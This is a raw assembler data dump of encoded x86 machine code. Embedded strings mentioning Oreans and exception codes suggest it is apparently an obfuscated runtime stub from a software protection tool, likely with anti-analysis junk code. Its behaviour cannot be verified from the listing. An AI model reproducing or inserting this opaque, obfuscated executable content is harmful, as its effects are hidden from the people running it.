		dd 0F38FBD83h, 0F0005EAh, 1A284h, 0E9816600h, 858D6522h
		dd 5EAF66Dh, 8AECBA66h,	5CE28150h, 66325E43h, 6A24BBB9h
		dd 319D0901h, 0FF05E80Ch, 0EAF38FB5h, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 9D8968E2h, 5E81C01h,	0F38795FFh, 0BD8B05EAh,	5E80915h
		dd 0F38FB5FFh, 958B05EAh, 5E81161h, 298995FFh, 958905E8h
		dd 5E80C05h, 0F01FF68h,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 682FC8FEh, 72DBA03h, 0BD836AF8h
		dd 5E81929h, 4C840F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0A1BFC350h
		dd 9529D03Dh, 5E819F5h,	0F3E8858Dh, 8B6605EAh, 0D3BF0FCBh
		dd 21E9h, 0BD896000h, 5E829E1h,	0D858B60h, 2905E833h, 0E80D799Dh
		dd 8D616105h, 0EAF3BE85h, 0D1816605h, 81500D63h, 2FBD5ED2h
		dd 8BB5FF21h, 0F805EAF3h, 0F38395FFh, 8B6605EAh, 8F8589CFh
		dd 6A05EAF3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0EF77C357h, 0B5D9C197h, 0CF5F8797h
		dd 290D958Bh, 0B5FF05E8h, 5EAF38Fh, 5C5952Bh, 8B6605E8h
		dd 7F95FFCBh, 6A05EAF3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 7AF3C351h, 0CF487704h
		dd 0FF0CA72Ah, 0EAF38FB5h, 5880F05h
		dd 66000000h, 0C063D981h, 298995FFh, 0E95105E8h, 6, 0F5840EC9h
		dd 0E95AE1BCh, 0FFFFF718h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0A3C35141h, 4B4D8DFFh, 36CF0412h, 12E8h
		dd 0F63F8C00h, 282F08F8h, 0B8322B28h, 0A15E2DADh, 0E92E2EAEh
		dd 0Eh,	5847190Ch, 73082C05h, 56F2633Eh, 0F5FD2CBh, 0B5FFFAB7h
		dd 5EAFED8h, 3285BD31h,	95FF05E8h, 5E80815h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 20C35646h, 0E24A9477h
		dd 0BF144C7Dh, 0FE95Ch,	9700000h, 56195DC5h, 0C361B420h
		dd 0CFFDEDA0h, 7D858B89h, 0BA05E80Eh, 3E5BD270h, 14E8h
		dd 0B3B3E400h, 9B002FD0h, 0EE3E6466h, 0A2216CC4h, 75C4BDFBh
		dd 0BE92Bh, 0CE1A0000h,	453465DDh, 2F82F968h, 6AE95FE2h
		dd 81000005h, 0D1FFF6DFh, 8DB58D56h, 6A05EAF6h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 89BDC353h, 0E8303DB5h, 38858D05h, 6A05EAA3h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 3CDC356h, 5268BBA6h,	0E35BD8Bh, 0FF5A05E8h, 0CA8B66D0h
		dd 0BD09006Ah, 5E80C0Dh, 0FFC8BF0Fh, 0E80C7995h, 4A28BA05h
		dd 0F38B27FFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	19C35646h, 8D0696AEh, 0EAA33885h, 6DBD8905h, 0FF05E82Ch
		dd 51006AD0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 13B9125Eh, 0F1BD89B4h, 8B05E815h, 0E829E18Dh
		dd 8B006A05h, 0E8164595h, 0AE805h, 0D3960000h, 0F0492A51h
		dd 0B7C8D6B0h, 6830Fh, 8D0F0000h, 0
		dd 7995FF5Fh, 5705E80Ch, 0BE9h,	4EECB100h, 89B513A8h, 117713A2h
		dd 60C08B5Fh, 0D08190B0h, 7C576A57h, 89BD8361h,	5E80Eh
		dd 0BD830975h, 5E80BE9h, 50197400h, 0B8C08B53h,	7D9h, 111D8589h
		dd 9D8D05E8h, 5EAA94Eh,	585BD3FFh, 0BE9BD83h, 740005E8h
		dd 0B8535017h, 7D9h, 111D8589h,	9D8D05E8h, 5EAA63Dh, 585BD3FFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 3EC35747h
		dd 89F2B9D3h, 0E807D58Dh, 0C08BF805h, 0A3C68060h, 10E95061h
		dd 0CA000000h, 8BDCD24Dh, 7E8E85ABh, 4FF69C48h,	8BA243DAh
		dd 12E9D8h, 1DEF0000h, 0E98EB612h, 120BB4F2h, 175C10C4h
		dd 26C7F997h, 399D8D53h, 8B05E823h, 8B038903h, 43895043h
		dd 719D8D50h, 8B05EAFEh, 5B038903h, 667AD180h, 6A6F20B9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 1865A9C2h, 8BBCCAF8h, 0E80CA1BDh, 78A0F05h
		dd 60000000h, 0B70FF08Bh, 858D61C1h, 5EAFE71h, 0DBD8B51h
		dd 5905E823h, 99858950h, 6A05E822h, 0FDB53160h,	8D05E809h
		dd 0E8233985h, 6810F05h, 89000000h, 0E805F18Dh,	0CE85005h
		dd 0A3000000h, 0C6128D62h, 89FC4420h, 5A16043Bh, 6A006Ah
		dd 134DB529h, 6805E8h, 66000018h, 6A53F88Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 4C08C351h, 0A46C9931h, 8E0FE877h, 0
		dd 229595FFh, 9D0105E8h, 5E82235h, 72595FFh, 8D8905E8h
		dd 5E83175h, 78D4D281h,	0B5FF05FBh, 5EAFED8h, 2C75BD8Bh
		dd 95FF05E8h, 5E80815h,	23E5BD8Bh, 858D05E8h, 5E82339h
		dd 408B5A50h, 0AE918h, 0FFF0000h, 23C0EDB5h, 9C85A177h
		dd 282585C7h, 5E8h, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 2DB8B2C3h, 0F45E76FBh
		dd 358D8B2Eh, 0B205E816h, 29BD83EEh, 5E819h, 4A840Fh, 8D330000h
		dd 5E80C69h, 8C3Dh, 81830F00h, 9000001h, 0E80D1995h, 39E905h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0F0ABB8C3h, 5EBA8C62h, 6850Fh, 958B0000h
		dd 5E81705h, 963Dh, 3D830F00h, 8D000001h, 5AF59F85h, 0B999BF00h
		dd 0D0FF167Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	7BC35141h, 8E9h, 6B523800h, 44F8F265h, 0B18D8B94h
		dd 8D05E806h, 5AEFF285h, 0A3BB6000h, 96F328Bh, 0E82E25B5h
		dd 0D0FF6105h, 0E109BF66h, 958BC08Bh, 5E80D61h,	0E89BD83h
		dd 750005E8h, 0E9BD8309h, 5E80Bh, 53501974h, 0C6B8C08Bh
		dd 8900000Bh, 0E8111D85h, 4E9D8D05h, 0FF05EAA9h, 83585BD3h
		dd 0E80BE9BDh, 17740005h, 0C6B85350h, 8900000Bh, 0E8111D85h
		dd 3D9D8D05h, 0FF05EAA6h, 66585BD3h, 3FC1C281h,	8B66C08Bh
		dd 0FFF883C8h, 3F850Fh,	81660000h, 0C776CDE9h, 0E81FB185h
		dd 5, 0CFB70F00h, 0D4E9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 43E9D7D5h
		dd 31000000h, 0E81F25BDh, 1F88305h, 34850Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 69375C3h, 0E0D5E449h, 0C0E9h, 81666000h, 91AB4C9h, 0E80F2DBDh
		dd 85E96105h, 0F8FFFFF1h, 0BF66C08Bh, 0BD83D8BEh, 5E80E89h
		dd 83097500h, 0E80BE9BDh, 19740005h, 0C08B5350h, 7DDB8h
		dd 1D858900h, 8D05E811h, 0EAA94E9Dh, 5BD3FF05h,	0E9BD8358h
		dd 5E80Bh, 53501774h, 7DDB8h, 1D858900h, 8D05E811h, 0EAA63D9Dh
		dd 5BD3FF05h, 0ED79BF58h, 0C08B62CCh, 2AC1BD2Bh, 2CE905E8h
		dd 9000002h, 0E81C2185h, 75858D05h, 8905EAFCh, 0E814218Dh
		dd 6D858905h, 6A05EAFEh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0D013C355h,	264E42CFh
		dd 30AD8D89h, 5AE905E8h, 53000000h, 418DBA66h, 7D858D5Fh
		dd 0E905EAFAh, 13h, 0CAB889FBh,	68DEE47Ch, 0E8A395E8h
		dd 31C80006h, 4067A03Dh, 18C78060h, 61FAB70Fh, 0FE6D8589h
		dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0FC3526C3h, 2B3F2308h, 0E82101BDh, 8D346A05h
		dd 0E811A585h, 0B5FF5005h, 5EAFE6Dh, 95FF006Ah,	5E8090Dh
		dd 0F07F883h, 16284h, 0DB8C6600h, 0F04C3F6h, 0FC85h, 1585C600h
		dd 5605E820h, 0A8B85268h, 59B5FF9Ch, 8D05E825h,	0E838D785h
		dd 6AD0FF05h, 10006804h, 646A0000h, 0D0FF006Ah,	0FEE08589h
		dd 85C605EAh, 5E82015h,	0AC9B6847h, 0B5FFEC18h,	5E82559h
		dd 38D7858Dh, 0D0FF05E8h, 0F08BD0FFh, 201585C6h, 684F05E8h
		dd 0C62F2661h, 10ADB5FFh, 858D05E8h, 5E838D7h, 9D8DD0FFh
		dd 5EAFEDCh, 56286A53h,	0C085D0FFh, 85C60075h, 5E82015h
		dd 64986841h, 0B5FFDB87h, 5E810ADh, 38D7858Dh, 0D0FF05E8h
		dd 0FEF98589h, 85C605EAh, 5E82015h, 0E7A4684Ch,	0B5FF80A4h
		dd 5E810ADh, 38D7858Dh,	0D0FF05E8h, 0FEE09D8Bh,	5B8D05EAh
		dd 9D8D5304h, 5EAFEE5h,	0FF006A53h, 0E09D8BD0h,	0C705EAFEh
		dd 103h, 0C43C700h, 2, 161985C7h, 5E8h,	6A0000h, 6A006Ah
		dd 0FEE09D8Bh, 6A5305EAh, 0DCB5FF00h, 0FF05EAFEh, 0EAFEF995h
		dd 1585C605h, 4505E820h, 0A5F79768h, 0DDB5FF92h, 8D05E80Fh
		dd 0E838D785h, 6AD0FF05h, 0FF026A00h, 0DB8C66D0h, 7504C3F6h
		dd 0E09D8B32h, 0C705EAFEh, 0C43h, 6A0000h, 9D8B006Ah, 5EAFEE0h
		dd 0FF006A53h, 0EAFEDCB5h, 0F995FF05h, 0FF05EAFEh, 0EAFEDCB5h
		dd 2595FF05h, 6A05E807h, 7995FF00h, 0F905E80Ch,	8DC9B70Fh
		dd 0EB322C85h, 0FFB70F05h, 10E950h, 87DA0000h, 0BA1AFAE8h
		dd 0E837D3DCh, 0DFE28CCAh, 0B53D94Eh, 0E80B1195h, 0FF645A05h
		dd 35h,	64D78B00h, 2589h, 0BD890000h, 5E8300Dh,	835BD83h
		dd 0F0005E8h, 7684h, 0B9BD0100h, 8305E808h, 0E810B9BDh
		dd 850F0105h, 63h, 6810Fh, 0B5890000h, 5E80E0Dh, 2F9BD80h
		dd 0F0005EBh, 4A85h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 21F38B24h, 81A6B95Fh
		dd 0E9D7BF0Fh, 14h, 5B445DFEh, 0BDD0718Dh, 0C9000D9Bh
		dd 3F85827Fh, 9F86B349h, 1A4E9h, 7ABF6600h, 33CA8BC4h
		dd 0E9BD89DBh, 3305E813h, 21952BC0h, 4005E806h,	0B073F0Fh
		dd 58F64h, 83000000h, 6AF804C4h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0C580C353h,	1F8FD21Eh
		dd 8355B2EFh, 840FFFFBh, 20h, 14E9h, 0EAF28F00h, 7A209C92h
		dd 4627BB33h, 4AEBB3FCh, 0D4FD301Fh, 129E9D3h, 82B10000h
		dd 5FE9h, 7D8D8B00h, 6005E824h,	0B1BD2B60h, 6105E812h
		dd 178EB866h, 244C8B61h, 0A481C70Ch, 0FF000000h, 83FFFFFFh
		dd 0B881h, 0C0330400h, 245C8BC3h, 0E8550Ch, 5D000000h
		dd 324EED81h, 838B05EBh, 0B8h, 3344858Dh, 838905EBh, 0B8h
		dd 0C3C0335Dh, 31598589h, 0B70F05E8h, 0D2BF0FF8h, 3244858Dh
		dd 14E905EBh, 6A000000h, 33A2E91Eh, 5C3247E3h, 22874439h
		dd 0EF47EA2h, 504F4DC9h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0D8C35343h, 0F3FAF3CEh, 2F574C66h, 9EA2BFA1h
		dd 64F945D6h, 35FFh, 8D0F0000h,	6, 24D5BD8Bh, 896405E8h
		dd 25h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh,	24448104h
		dd 1504h, 0C3554500h, 0F781EF6Eh, 0AA1Ch, 0AE8h, 44357E00h
		dd 0A24008F3h, 66B86224h, 0B95ACE8Bh, 0Ah, 55D704B8h, 81640548h
		dd 65BB0DF7h, 0BA8685D4h, 34B640h, 5FE8EA81h, 81ED0034h
		dd 4D5868FBh, 0C70A7556h, 0E808E185h, 105h, 58F6400h, 0
		dd 0F804C483h, 83C08BF8h, 0E80E89BDh, 9750005h,	0BE9BD83h
		dd 740005E8h, 8B535019h, 43DB8C0h, 85890000h, 5E81AF9h
		dd 0A9B59D8Dh, 0D3FF05EAh, 0BD83585Bh, 5E80BE9h, 50177400h
		dd 43DB853h, 85890000h,	5E81AF9h, 0A6569D8Dh, 0D3FF05EAh
		dd 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0EEB6B2C3h, 0FBBF0F0Ch, 11E9h, 48BAEE00h
		dd 0AEB3D138h, 7AAE3508h, 681188B1h, 0BD33BC05h, 5E822F9h
		dd 3AE9C08Bh, 4000001h,	31000000h, 3535382Eh, 7	dup(0)
		dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh
		dd 50006E6Fh, 7361656Ch, 73202C65h, 20646E65h, 20656874h
		dd 6C6C6F66h, 6E69776Fh, 6F632067h, 20736564h, 69206F74h
		dd 406F666Eh, 6165726Fh, 632E736Eh, 202E6D6Fh, 6E616854h
		dd 6F79206Bh, 0D0A2E75h, 20200D0Ah, 20202020h, 70282020h
		dd 73736572h, 52544320h, 20432B4Ch, 74206E6Fh, 20736968h
		dd 646E6977h, 7420776Fh, 6F63206Fh, 74207970h, 6C63206Fh
		dd 6F627069h, 29647261h, 20202020h, 0D0A0D0Ah, 73726556h
		dd 206E6F69h, 25203D20h, 430D0A73h, 6B636568h, 20204E49h
		dd 6425203Dh, 68430D0Ah, 4F6B6365h, 3D205455h, 0A642520h
		dd 6F72500Dh, 204E4963h, 203D2020h, 0D0A6425h, 636F7250h
		dd 2054554Fh, 25203D20h, 450D0A64h, 49746978h, 2020204Eh
		dd 6425203Dh, 78450D0Ah, 554F7469h, 3D202054h, 0A642520h
		dd 6950540Dh, 2020206Eh, 203D2020h, 0D0A6425h, 6DBD8300h
		dd 5E82Bh, 12D840Fh, 858D0000h,	5EAA46Dh, 0D7858D50h, 5005EAA3h
		dd 168h, 7D95FF80h, 8D05EAA4h, 0EB33E285h, 858D5005h, 5EB33ECh
		dd 6A006A50h, 0EB858D00h, 5005EAA3h, 0A46DB5FFh, 95FF05EAh
		dd 5E832D9h, 33E2858Dh,	8D5005EBh, 0EB33F085h, 6A5005h
		dd 858D006Ah, 5EAA3FDh,	6DB5FF50h, 0FF05EAA4h, 0E832D995h
		dd 0E2858D05h, 5005EB33h, 33FC858Dh, 6A5005EBh,	8D006A00h
		dd 0EAA44A85h, 0B5FF5005h, 5EAA46Dh, 32D995FFh,	858D05E8h
		dd 5EB33E2h, 4858D50h, 5005EB34h, 6A006Ah, 0A468858Dh
		dd 0FF5005EAh, 0EAA46DB5h, 0D995FF05h, 8D05E832h, 0EB33E285h
		dd 858D5005h, 5EB3400h,	6A006A50h, 51858D00h, 5005EAA4h
		dd 0A46DB5FFh, 95FF05EAh, 5E832D9h, 33E2858Dh, 8D5005EBh
		dd 0EB33F485h, 6A5005h,	858D006Ah, 5EAA459h, 6DB5FF50h
		dd 0FF05EAA4h, 0E832D995h, 0E2858D05h, 5005EB33h, 33F8858Dh
		dd 6A5005EBh, 8D006A00h, 0EAA46085h, 0B5FF5005h, 5EAA46Dh
		dd 32D995FFh, 0B5FF05E8h, 5EAA46Dh, 50195FFh, 0A2E905E8h
		dd 83000000h, 0E81605BDh, 840F0005h, 95h, 10B9BD83h, 0F0005E8h
		dd 1185h, 0D1958B00h, 8105E822h, 1CF8C2h, 0FE900h, 958D0000h
		dd 5E82339h, 8134528Bh,	0D4C340C2h, 0DD95893Bh,	8305E816h
		dd 0E816DDBDh, 840F0005h, 55h, 16DD9D8Bh, 0C38305E8h, 89038B4Ch
		dd 0EB33EC85h, 0DD9D8B05h, 8305E816h, 38B50C3h,	33F08589h
		dd 9D8B05EBh, 5E816DDh,	8B54C383h, 0FC858903h, 8B05EB33h
		dd 0E816DD9Dh, 58C38305h, 8589038Bh, 5EB3400h, 16DD9D8Bh
		dd 0C38305E8h, 89038B5Ch, 0EB33F485h, 6DBD8305h, 5E82Bh
		dd 0D850Fh, 0BD830000h,	5E81605h, 68840F00h, 0FF000000h
		dd 0EB3404B5h, 0F8B5FF05h, 0FF05EB33h, 0EB33F4B5h, 0B5FF05h
		dd 0FF05EB34h, 0EB33FCB5h, 0F0B5FF05h, 0FF05EB33h, 0EB33ECB5h
		dd 0E6858D05h, 5005EB33h, 341E858Dh, 8D5005EBh,	0E8002585h
		dd 95FF5005h, 5E80DB1h,	6A24C483h, 8858D40h, 5005EB34h
		dd 25858Dh, 6A5005E8h, 0D95FF00h, 6A05E809h, 7995FF01h
		dd 8B05E80Ch, 6E8C1h, 48F0000h,	159B656Ah, 2FB5BA66h, 78F6805Fh
		dd 6BBDC781h, 81660000h, 2BC5C1CEh, 0C8BFCC0h, 0B4DA8107h
		dd 8170CFD8h, 91F429E9h, 0F18B6621h, 1A0EC181h,	0DA8B348Ch
		dd 8724C181h, 3CBE36F2h, 512E8E55h, 1BEDF381h, 48F0D4Fh
		dd 6733BB07h, 0E8833985h, 0F881F504h, 0FFFF94E4h, 28850Fh
		dd 13E90000h, 94000000h, 3FF9DF03h, 0DDBF1B5Dh,	0AF277AECh
		dd 0D3AC9D2Eh, 28E90B87h, 39000000h, 0E26EA8Eh,	8611FEABh
		dd 19BB2DDDh, 0E917A3A9h, 0FFFFFF8Ah, 0E866C7B9h, 0A0D823D3h
		dd 0BCC825A8h, 0CB2848CAh, 0EB820C3Ch, 46F31718h, 9Bh
		dd 4 dup(0)
		dd 20BE900h, 8B600000h,	0E824245Ch, 0
		dd 4FED815Dh, 6105EB38h, 0E90004C2h, 0FFFFFFE6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0)
		dd 0E9C36160h, 0FFFFFFF8h, 3887B58Bh, 0E68105EBh, 0FFFFF000h
		dd 0BE9h, 19E800h, 0C6810000h, 1000h, 388BB53Bh, 860F05EBh
		dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h,	324C88Ch
		dd 840FC00Ah, 19h, 2BB5350h, 8B000000h,	0E816DD85h, 0A188605h
		dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h,	50FFFFFFh
		dd 82474FFh, 0E5195FFh,	0F5005E8h, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	0E816DD85h, 0C605h, 2404FF58h
		dd 0E90004C2h, 0FFFFFFBBh, 8C665053h, 3E380CBh,	840FDB0Ah
		dd 38h,	2BBh, 0DD858B00h, 8605E816h, 0FDB0A18h,	0FFFFF685h
		dd 3985C7FFh, 5E80Dh, 8B000000h, 8B082444h, 100098h, 988900h
		dd 8B000010h, 0E9188918h, 0Ah, 0D3985C7h, 10005E8h, 5B580000h
		dd 0C32404FFh, 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h
		dd 763AB7A1h, 1B101B0h,	13E9h, 0C88AAC00h, 0C332C302h
		dd 0BAACBD1h, 1840FD2h,	4A000000h, 850FC90Ah, 0FFFFFFE5h
		dd 850FD20Bh, 0FFFFFFDDh, 8B52C361h, 7A8B57D4h,	0E9C03308h
		dd 1, 3F80AAh, 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h
		dd 10E9DB33h, 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h
		dd 0B49D3D3h, 0E8850FC9h, 8BFFFFFFh, 5B595EC3h,	0A1BB60C3h
		dd 0B0763AB7h, 11E901h,	32AC0000h, 0D1C32AC3h, 0D20BAACBh
		dd 1840Fh, 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h
		dd 61FFFFFFh, 0D88C66C3h, 840F04A8h, 29h, 382C85C7h, 105EBh
		dd 0F500000h, 0FE244C01h, 3830858Fh, 858D05EBh,	5EB3828h
		dd 3830BD8Dh, 388905EBh, 23E9h,	39858D00h, 8B05E823h, 17053840h
		dd 899B46F3h, 0EB382885h, 39858D05h, 8B05E823h,	85893C40h
		dd 5EB382Ch, 3845858Dh,	858905EBh, 5E80E51h, 87E9h, 0D48B5200h
		dd 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	33535156h
		dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h,	34980400h
		dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h
		dd 8C25Ah, 3AB8858Dh, 858905EBh, 5E83011h, 3AE0858Dh, 858905EBh
		dd 5E813A9h, 3B08858Dh,	858905EBh, 5E809F1h, 56006A60h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 71A5F925h, 0BAF8CE8Ah, 762FD5D7h, 8E0FC08Bh,	5, 0FCF465BEh
		dd 89BD8361h, 5E80Eh, 0BD830975h, 5E80BE9h, 50197400h
		dd 0B8C08B53h, 40Eh, 111D8589h,	9D8D05E8h, 5EAA94Eh, 585BD3FFh
		dd 0BE9BD83h, 740005E8h, 0B8535017h, 40Eh, 111D8589h, 9D8D05E8h
		dd 5EAA63Dh, 585BD3FFh,	0B158D1BEh, 53006A19h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 35FF5BAEh
		dd 0AD19828Bh, 0CF816044h, 6BB4B226h, 8B61F28Bh, 0F5D981C0h
		dd 8377465Eh, 0E80835BDh, 840F0005h, 2Fh, 2CBE9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 6E96FB0h, 0AA000000h, 0E4415BC8h, 8CF18B4Dh,	6A87B9DFh
		dd 0F7662C74h, 0F0004C7h, 28F85h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 666076F2h
		dd 86A1EF81h, 0AC2EE0BBh, 0BA60615Eh, 54642036h, 6AFF2B61h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 6349C356h, 0A73FD681h, 9D8D0E25h,	5EB3E7Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BDC35646h
		dd 9EB0BA93h, 0F50301Fh, 285h, 93F08A00h, 0B9D5BA66h, 35FF64h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 8BEAC350h, 38E55E09h, 0BF6086C4h
		dd 558B214Bh, 14E9F860h, 7D000000h, 0C47159A7h,	35EAE7A9h
		dd 0D03E208h, 79822B58h, 617CF68Bh, 25896461h, 0
		dd 0BE8h, 461E1100h, 39688575h,	35EDA838h, 10E9h, 50160E00h
		dd 45DA41B9h, 8C1B2CBEh, 7211729Dh, 0C48B5ADDh,	1CDCB8Bh
		dd 6A00EBh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0F9B5EC3h, 87h, 0F80BBE00h, 8F64707Dh, 5
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 60F70FD1h, 0DE8h, 0A309E600h, 52F717BCh
		dd 3C52BB60h, 0E3802045h, 61F95E20h, 6A04C483h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0D229C350h, 532D3B60h, 0BA5AE0B6h, 3FC0C51Bh, 840FC00Bh
		dd 0E8h, 0CE8h,	4EE4EC00h, 3BF6B0D0h, 5668EC6Bh, 8E8E1h
		dd 9D450000h, 38B54071h, 5E5AF9B4h, 4810F61h, 66000000h
		dd 8DE6C0BAh, 0E87200BDh, 1B8F505h, 0BE000000h,	0B57E95h
		dd 6AE7FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 692826C3h, 8A0F0D0Ah, 6, 8A0Fh, 8B570000h
		dd 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h
		dd 2000000h, 0C3C0335Fh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 12C35343h, 0E96B94A6h, 11h, 34FF5483h
		dd 0B2C715D7h, 4463380Ah, 1DDC6C11h, 50006A71h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 47A3DAAFh
		dd 8C0F6372h, 0
		dd 10E961h, 12510000h, 569035E2h, 0DE235919h, 652F1BEDh
		dd 0C08B280Eh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	25C35040h, 7B92ED3h, 8027E353h,	0BD83E7C5h, 5E80E89h
		dd 83097500h, 0E80BE9BDh, 19740005h, 0C08B5350h, 40EB8h
		dd 0F9858900h, 8D05E81Ah, 0EAA9B59Dh, 5BD3FF05h, 0E9BD8358h
		dd 5E80Bh, 53501774h, 40EB8h, 0F9858900h, 8D05E81Ah, 0EAA6569Dh
		dd 5BD3FF05h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 8B66C0C3h, 2860FCEh, 0B2000000h
		dd 6AC08B27h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 5F8EC351h, 0EBC28BCCh,	8, 0
		dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 0B9858B24h
		dd 8D05E810h, 0EB6F4885h, 8B088B05h, 100088h, 660A8B00h
		dd 89FC4A8Bh, 0EB3FD48Dh, 29BD8305h, 5E819h, 0F840Fh, 6A600000h
		dd 0F995FF00h, 6105E820h, 0FFFFC4E9h, 728966FFh, 10CEC1FCh
		dd 2728966h, 5A04CD52h,	3FD08589h, 0B58B05EBh, 5EB3FD4h
		dd 6610CEC1h, 8B027289h, 0EB3FD4B5h, 72896605h,	858B61FCh
		dd 5EB3FD0h, 61958DC3h,	8905E803h, 0E816DD95h, 3D958905h
		dd 0FF05E813h, 0E8133D85h, 1585C605h, 5305E820h, 0B148D868h
		dd 59B5FFFCh, 8D05E825h, 0E838D785h, 89D0FF05h,	0E820F985h
		dd 5F858D05h, 8905EB38h, 0E821A985h, 0E900EB05h, 5ECh
		dd 5E0E9h, 417C6800h, 0EFE905EBh, 68FFFD3Dh, 5EB4284h
		dd 0FD3DE5E9h, 430D68FFh, 0DBE905EBh, 68FFFD3Dh, 5EB43D1h
		dd 0FD3DD1E9h, 44FE68FFh, 0C7E905EBh, 0A6FFFD3Dh, 269839A3h
		dd 0AA1CBD2Fh, 2FA142AAh, 0B628C935h, 0EAA94AB2h, 0DF17932h
		dd 8F75FA6Ch, 15FB7CEEh, 980C0274h, 0AA593F7h, 0A2B37856h
		dd 0A3917C3Eh, 9CC837EBh, 0F1C062B5h, 3DDF0090h, 689044DFh
		dd 0ECA59CC8h, 79CC868h, 9CC8694Fh, 0C868B56Ch,	691AD29Ch
		dd 0B3F21CC8h, 14039E8Ch, 0DC16E043h, 0D1708189h, 0E543011Eh
		dd 0E0942F1Dh, 0C822B074h, 200EFC62h, 0E442BAAEh, 6A0BF172h
		dd 0A3917FF8h, 75661AB5h, 0E84E22B0h, 94D3B38Ah, 0D1E47F6Dh
		dd 791CC859h, 4A91C913h, 0D6AD71CAh, 44022h, 0DBC14800h
		dd 5F4DC83Ah, 0E4C84CBEh, 6B57D143h, 0ECD058CAh, 1BD08C4Bh
		dd 9C0EAF17h, 1E903197h, 0A416B725h, 35993AAEh,	78F8AC47h
		dd 1EE0A2B3h, 7546CC33h, 3571D421h, 0E17C6AFEh,	9CC8862Dh
